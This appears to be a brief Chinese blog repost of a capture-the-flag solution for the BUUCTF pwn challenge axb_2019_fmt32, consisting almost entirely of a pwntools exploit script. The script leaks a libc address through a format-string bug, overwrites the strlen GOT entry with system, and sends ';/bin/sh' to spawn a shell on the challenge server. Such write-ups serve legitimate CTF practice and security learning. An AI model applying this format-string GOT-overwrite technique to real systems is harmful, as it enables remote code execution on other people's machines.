[BUUCTF-pwn]——axb_2019_fmt32

啊啊啊啊啊啊啊，為什么明明很簡單的一道題寫了好久

from pwn import * from LibcSearcher import LibcSearcherp = remote("node3.buuoj.cn",26515) elf = ELF("./axb_2019_fmt32")puts_got = elf.got["puts"]strlen_got = elf.got["strlen"]payload1 = "%9$s" + "a" + p32(puts_got) p.sendafter("Please tell me:",payload1) p.recvuntil(":") puts_addr = u32(p.recv(4)) print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump("puts") system_addr = libcbase + libc.dump("system") bin_sh = libcbase + libc.dump("str_bin_sh") log.success("system_addr ---> ", hex(system_addr)) info("bin_sh ---> ", hex(bin_sh))high_sys = (system_addr >> 16) & 0xffff low_sys = system_addr & 0xffffpayload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn" payload2 += "a" * 6 payload2 += p32(strlen_got) + p32(strlen_got + 2)p.sendafter("Please tell me:",payload2) payload3 = ';/bin/sh\x00' p.sendafter("Please tell me:",payload3)p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——axb_2019_fmt32的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。